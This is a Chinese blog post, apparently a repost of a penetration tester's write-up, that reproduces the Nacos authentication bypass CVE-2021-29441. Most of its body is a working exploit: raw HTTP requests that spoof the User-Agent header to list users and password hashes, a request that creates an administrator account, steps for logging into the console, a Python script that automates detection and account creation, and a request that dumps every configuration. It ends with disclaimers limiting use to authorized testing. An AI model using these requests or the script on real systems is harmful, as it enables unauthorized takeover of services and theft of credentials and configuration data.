记一次内网挖洞过程,重温Nacos身份认证绕过!!

admin 2026-09-25 05:19:23 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细复现了Nacos身份认证绕过漏洞CVE-2021-29441的利用过程,影响Nacos小于1.4.1版本。核心利用手法是在请求头中添加User-Agent:Nacos-Server绕过认证,实现未授权访问用户列表、创建新管理员账号并登录控制台,从而完全接管服务。文章提供了具体POC代码和自动化检测脚本,并强调仅限授权测试使用。 综合评分: 78 文章分类: 渗透测试,漏洞分析,红队,内网渗透


记一次内网挖洞过程,重温Nacos 身份认证绕过!!

原创

是老A 是老A

老A搞安全

2026年9月22日 07:42 贵州

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!

| | | | — | — | | 项目 | 详情 | | 漏洞名称 | Nacos 身份认证绕过 | | CVE 编号 | CVE-2021-29441 | | 影响版本 | Nacos < 1.4.1 | | 危害等级 | 通常判高危!(具体看情况) | | 前置条件 | 目标服务网络可达,且端口开放 |

近期在实施项目,碰到关于Nacos漏洞,简单的和大家重温一下利用过程

复现流程

首先确认目标版本。可以通过访问 /nacos/v1/console/server/state 获取版本信息

或者直接利用一个关键特征:先用不带任何特殊请求头的请求访问用户列表,预期会返回 403 Forbidden。

GET&nbsp;/nacos/v1/auth/users?pageNo=1&pageSize=9&nbsp;HTTP/1.1Host: ip:8848
预期响应:HTTP/1.1 403 Forbidden

获取用户列表(信息泄露)

核心是在请求头中添加 User-Agent: Nacos-Server

请求 POC(直接通过 URL 访问,或在 Burp Suite 中修改 User-Agent)

GET&nbsp;/nacos/v1/auth/users?pageNo=1&pageSize=9&nbsp;HTTP/1.1Host: ip:8848User-Agent: Nacos-Server

预期响应(HTTP 200,并返回用户列表):

{&nbsp;&nbsp;"totalCount":&nbsp;1,&nbsp;&nbsp;"pageNumber":&nbsp;1,&nbsp;&nbsp;"pagesAvailable":&nbsp;1,&nbsp;&nbsp;"pageItems": [&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp;&nbsp;"username":&nbsp;"nacos",&nbsp; &nbsp; &nbsp;&nbsp;"password":&nbsp;"$2a$10$..."&nbsp; &nbsp; }&nbsp; ]}

补充说明:如果 HTTP 请求需通过浏览器或命令行工具模拟,关键在于添加正确的 User-Agent 头部。且该列表中的密码是 BCrypt 哈希,难以直接还原,主要用于后续暴力破解尝试。

创建新用户(权限获取)

验证未授权访问成立后,直接调用创建用户接口

请求 POC:

POST&nbsp;/nacos/v1/auth/users HTTP/1.1Host: ip:8848User-Agent: Nacos-ServerContent-Type: application/x-www-form-urlencodedContent-Length:&nbsp;33username=hacker&password=Hacker@123

预期响应:create user ok! 此时,你就成功创建了一个拥有完整管理权限的新账号

登录验证

访问 http://ip:8848/nacos/,使用刚刚创建的 hacker / Hacker@123 登录,即可进入 Nacos 控制台,从而完全接管该服务。

如果不想手动构造请求,可以使用 GitHub 上的自动化脚本快速检测并利用此漏洞

# 示例基于K3ysTr0K3R/CVE-2021-29441的利用逻辑[citation:17]import&nbsp;requeststarget =&nbsp;"http://ip:8848"headers = {"User-Agent":&nbsp;"Nacos-Server"}# 1. 检测漏洞r = requests.get(f"{target}/nacos/v1/auth/users?pageNo=1&pageSize=9", headers=headers)if&nbsp;r.status_code ==&nbsp;200&nbsp;and&nbsp;"pageItems"&nbsp;in&nbsp;r.text:&nbsp; &nbsp;&nbsp;print("[+] Vulnerable")&nbsp; &nbsp;&nbsp;# 2. 创建新用户&nbsp; &nbsp; data = {"username":&nbsp;"hacker",&nbsp;"password":&nbsp;"Hacker@123"}&nbsp; &nbsp; r2 = requests.post(f"{target}/nacos/v1/auth/users", headers=headers, data=data)&nbsp; &nbsp;&nbsp;if&nbsp;"create user ok"&nbsp;in&nbsp;r2.text:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("[+] User created")

验证要点

确认漏洞是否存在,关键在于对比请求头修改前后的响应状态码差异。当把 User-Agent 改为 Nacos-Server 后,从 403 变为 200,这就是漏洞存在的直接证据

另外,可以利用该漏洞在获取控制台权限后,尝试访问

/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99

来获取所有配置信息,这是验证是否拥有完整数据访问权限的有效方式

⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:老A搞安全 是老A 是老A《记一次内网挖洞过程,重温Nacos 身份认证绕过!!》

评论:0   参与:  0